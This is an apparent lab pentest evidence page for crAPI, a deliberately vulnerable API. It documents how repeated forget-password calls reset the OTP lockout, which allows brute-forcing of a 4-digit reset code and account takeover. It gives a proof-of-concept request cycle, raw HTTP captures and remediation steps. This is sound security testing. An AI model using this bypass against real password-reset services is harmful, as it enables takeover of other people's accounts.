OTP Bruteforce Protection Bypass - Authentication - Password Reset
Lab environment — not a production system
Screenshots and raw traffic are not translated; text within them may be in another language.
crAPI/Evidence/[FAIL] OTP Bruteforce Protection Bypass - Authentication - Password Reset
01 — Notes
Test notes
Vulnerability
Description
Impact
CWE
OWASP
Scenario
Endpoint
Affected feature
Remediation
Proof of concept
View source note (English)
Vulnerability: [FAIL] OTP Bruteforce Protection Bypass - Authentication - Password Reset
Description:
Reset OTP verification (/v3/check-otp) locks after 9 attempts per session, BUT this limit is reset every time /forget-password is called, and that endpoint itself has no rate limit or CAPTCHA. The brute-force protection can therefore be bypassed with a repeating cycle.
Impact:
Confidentiality & Integrity: account takeover (ATO) of any user whose email is known, by brute-forcing the 4-digit OTP (10,000 combinations) with no effective obstacle.
CWE:
CWE-307: Improper Restriction of Excessive Authentication Attempts
OWASP:
API2:2023 - Broken Authentication
Scenario:
Normal: request an OTP and make one attempt (Invalid). Exploitation: repeating forget-password without limit resets the lockout -> brute-force the 4-digit OTP -> ATO -> CIA (Confidentiality + Integrity).
Endpoint:
POST http://127.0.0.1:8888/identity/api/auth/v3/check-otp
POST http://127.0.0.1:8888/identity/api/auth/forget-password
Affected Feature:
Password Reset via OTP (crapi-identity)
Remediation:
- Apply PERSISTENT per-account rate limiting + lockout (not reset by a new OTP request).
- Throttle and add CAPTCHA to forget-password.
- Use OTPs of >=6 digits with a short expiry.
POC:
1) (Screenshot 1) NORMAL: POST forget-password {victim email} -> 200, OTP sent.
2) (Screenshot 2) NORMAL: POST v3/check-otp with one wrong attempt -> Invalid OTP.
3) (Screenshot 3) EXPLOITATION + CIA: after the lockout, call forget-password again (200, no throttling) -> the counter is reset and a new OTP is issued; repeat the cycle [reset -> 9 guesses] until the OTP is guessed -> victim password reset (ATO).
02 — Screenshots
Screenshots (3)
Normal flow: the forgot-password flow sends a 4-digit OTP to the victim's email.
Normal flow: one incorrect OTP attempt returns Invalid OTP.
Impact: forget-password has no request limit and resets the lockout. Repeating [reset -> 9 guesses] defeats the 4-digit OTP and lets the attacker reset the victim's password. The recorded account takeover (ATO) compromises confidentiality and integrity.
03 — Requests and responses
HTTP captures
Some credential values are masked in this public HTML view. This does not mean every sensitive value or linked file has been redacted.
POST /identity/api/auth/forget-password HTTP/1.1
Host: 127.0.0.1:8888
Content-Type: application/json
{"email":"[REDACTED-EMAIL]"}HTTP/1.1 200
Server: openresty/1.27.1.2
Content-Type: application/json
Content-Length: 75
{
"message": "OTP Sent on the provided email, [REDACTED-EMAIL]",
"status": 200
}Normal flow: the forgot-password flow sends a 4-digit OTP to the victim's email.
POST /identity/api/auth/v3/check-otp HTTP/1.1
Host: 127.0.0.1:8888
Content-Type: application/json
{"email":"[REDACTED-EMAIL]","otp":"1234","password":"[REDACTED-LAB-VALUE]"}HTTP/1.1 500
Server: openresty/1.27.1.2
Content-Type: application/json
Content-Length: 58
{
"message": "Invalid OTP! Please try again..",
"status": 500
}Normal flow: one incorrect OTP attempt returns Invalid OTP.
POST /identity/api/auth/forget-password HTTP/1.1
Host: 127.0.0.1:8888
Content-Type: application/json
{"email":"[REDACTED-EMAIL]"}
# forget-password DIPANGGIL ULANG (tanpa rate-limit) => counter lockout ter-RESET & OTP baru terbitHTTP/1.1 200
Server: openresty/1.27.1.2
Content-Type: application/json
Content-Length: 75
{
"message": "OTP Sent on the provided email, [REDACTED-EMAIL]",
"status": 200
}Impact: forget-password has no request limit and resets the lockout. Repeating [reset -> 9 guesses] defeats the 4-digit OTP and lets the attacker reset the victim's password. The recorded account takeover (ATO) compromises confidentiality and integrity.